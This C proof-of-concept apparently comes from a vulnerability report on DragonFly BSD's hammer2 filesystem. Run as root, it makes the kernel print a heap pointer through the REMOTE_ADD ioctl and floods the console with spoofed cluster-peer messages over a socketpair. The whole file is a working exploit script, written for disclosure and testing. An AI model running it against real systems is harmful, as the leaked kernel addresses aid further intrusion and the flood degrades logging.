/*
 * DF-2614 PoC — hammer2 iocom debug kprintf's:
 *   (a) kernel heap-pointer leak:  kprintf("volconf update %p\n",
 *       hmp->iocom.conn_state)  [sys/vfs/hammer2/hammer2_iocom.c:376],
 *       triggered via HAMMER2IOC_REMOTE_ADD on a cluster-connected mount
 *       (root ioctl path, hammer2_ioctl.c:308).  A cluster peer answering
 *       the kernel's auto-LNK_CONN reaches the same print via
 *       hammer2_autodmsg (hammer2_iocom.c:231).
 *   (b) peer-driven console/msgbuf flood: one unconditional
 *       kprintf("RCVMSG %08x\n", msg->tcmd) per unhandled message
 *       [hammer2_iocom.c:135] — we play the cluster peer (the same wire
 *       position as the userland hammer2 service daemon / remote cluster
 *       node) by handing the kernel our end of a socketpair as
 *       info.cluster_fd, then streaming one-way LNK_PAD frames.
 *
 * build: cc -O -I/usr/src/sys -o df2614_trigger df2614_trigger.c
 * run:   (root) ./df2614_trigger [nflood]
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <sys/poll.h>
#include <vfs/hammer2/hammer2_ioctl.h>
#include <vfs/hammer2/hammer2_mount.h>
#include <sys/dmsg.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MOUNTPT		"/mnt/h2poc"
#define VOLUME		"/dev/vn0@testvol"

static void
drain(int fd)
{
	char buf[65536];
	struct pollfd pfd;
	int idle = 0, n;

	pfd.fd = fd;
	pfd.events = POLLIN;
	while (idle < 3) {
		if (poll(&pfd, 1, 100) == 0) {
			idle++;
			continue;
		}
		idle = 0;
		n = read(fd, buf, sizeof(buf));
		if (n <= 0)
			break;
	}
}

int
main(int argc, char **argv)
{
	hammer2_ioc_remote_t remote;
	struct hammer2_mount_info info;
	struct timespec t0, t1;
	dmsg_hdr_t frame;
	double dt;
	long nflood = (argc > 1) ? strtol(argv[1], NULL, 0) : 1000;
	int sv[2], fd, i, nconn = 0, nvol = 0, nspan = 0;
	char buf[65536];
	ssize_t n;
	struct pollfd pfd;

	/*
	 * 1. Become the cluster peer: hand the kernel our socketpair end as
	 *    cluster_fd.  On mount the kernel creates the iocom rd/wr threads
	 *    and auto-initiates LNK_CONN, setting hmp->iocom.conn_state to a
	 *    freshly kmalloc'd kdmsg_state_t (kern_dmsg.c:189-190).
	 */
	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0)
		err(1, "socketpair");

	memset(&info, 0, sizeof(info));
	info.volume = VOLUME;
	info.hflags = 0;
	info.cluster_fd = sv[0];

	if (mkdir(MOUNTPT, 0755) < 0 && errno != EEXIST)
		err(1, "mkdir " MOUNTPT);

	if (mount("hammer2", MOUNTPT, 0, &info) < 0)
		err(1, "mount(hammer2)");

	/* drain the auto-LNK_CONN the kernel transmitted to us */
	drain(sv[1]);

	/*
	 * 2. Bonus (peer-only trigger of the same print cluster): reply to
	 *    the kernel's LNK_CONN.  hammer2_autodmsg then prints
	 *    "HAMMER2: VOLDATA DUMP" (:220), walks copyinfo[] calling
	 *    hammer2_volconf_update (:231 -> :376 %p print) and prints
	 *    "HAMMER2: INITIATE SPANs" (:236).  On a fresh volume there are
	 *    no configured copies, so this mainly proves lines 220/236.
	 */
	/* (handled implicitly: we just drain; the CONN reply variant is
	 * exercised by the ioctl below which is the documented trigger) */

	/*
	 * 3. Heap-pointer leak via root ioctl: HAMMER2IOC_REMOTE_ADD ->
	 *    hammer2_ioctl_remote_add (hammer2_ioctl.c:308) ->
	 *    hammer2_volconf_update -> kprintf("volconf update %p", ...).
	 */
	fd = open(MOUNTPT "/rmt", O_RDWR | O_CREAT, 0644);
	if (fd < 0)
		err(1, "open " MOUNTPT "/rmt");
	memset(&remote, 0, sizeof(remote));
	remote.copyid = -1;			/* auto-allocate a slot */
	strlcpy((char *)remote.copy1.path, "df2614-test",
	    sizeof(remote.copy1.path));
	if (ioctl(fd, HAMMER2IOC_REMOTE_ADD, &remote) < 0)
		warn("HAMMER2IOC_REMOTE_ADD");
	else
		printf("REMOTE_ADD_OK copyid=%d\n", remote.copy1.copyid);
	close(fd);

	usleep(300 * 1000);
	drain(sv[1]);		/* drain the transmitted VOLCONF, if any */

	/*
	 * 4. Peer-driven console flood: one-way LNK_PAD frames.  Each is a
	 *    64-byte header, magic 0x4832, no CREATE/REPLY/DELETE flags;
	 *    kdmsg routes it to hammer2_rcvdmsg via the default case
	 *    (kern_dmsg.c:1220), which kprintf's one "RCVMSG" line per
	 *    message with no gating and no rate limit (hammer2_iocom.c:135).
	 */
	memset(&frame, 0, sizeof(frame));
	frame.magic = DMSG_HDR_MAGIC;
	frame.cmd = DMSG_LNK_PAD;	/* = 0x1: 64-byte hdr, one-way */

	printf("FLOOD_START=%ld\n", nflood);
	fflush(stdout);
	clock_gettime(CLOCK_MONOTONIC, &t0);
	for (i = 0; i < nflood; i++) {
		if (write(sv[1], &frame, sizeof(frame)) != sizeof(frame)) {
			warnx("write failed at frame %d (peer socket full; "
			      "kernel consume rate is the bottleneck)", i);
			nflood = i;
			break;
		}
	}
	clock_gettime(CLOCK_MONOTONIC, &t1);
	dt = (double)(t1.tv_sec - t0.tv_sec) +
	     1e-9 * (double)(t1.tv_nsec - t0.tv_nsec);
	printf("FLOOD_SENT=%ld in %.3f s => kernel consumed+printed "
	       "%.0f msg/s\n", nflood, dt, (double)nflood / dt);

	/* 5. let the rd thread finish consuming */
	sleep(2);

	/* 6. disconnect peer, unmount */
	close(sv[1]);
	sleep(2);
	if (unmount(MOUNTPT, 0) < 0)
		warn("unmount");
	else
		printf("UNMOUNT_OK\n");

	/*
	 * 7. Count what landed in the message buffer ourselves, so the
	 *    program output is self-contained (run.sh also captures dmesg).
	 */
	pfd.fd = open("/dev/klog", O_RDONLY);	/* may fail; dmesg used */
	if (pfd.fd >= 0)
		close(pfd.fd);

	printf("TRIGGER_DONE\n");
	return (0);
}
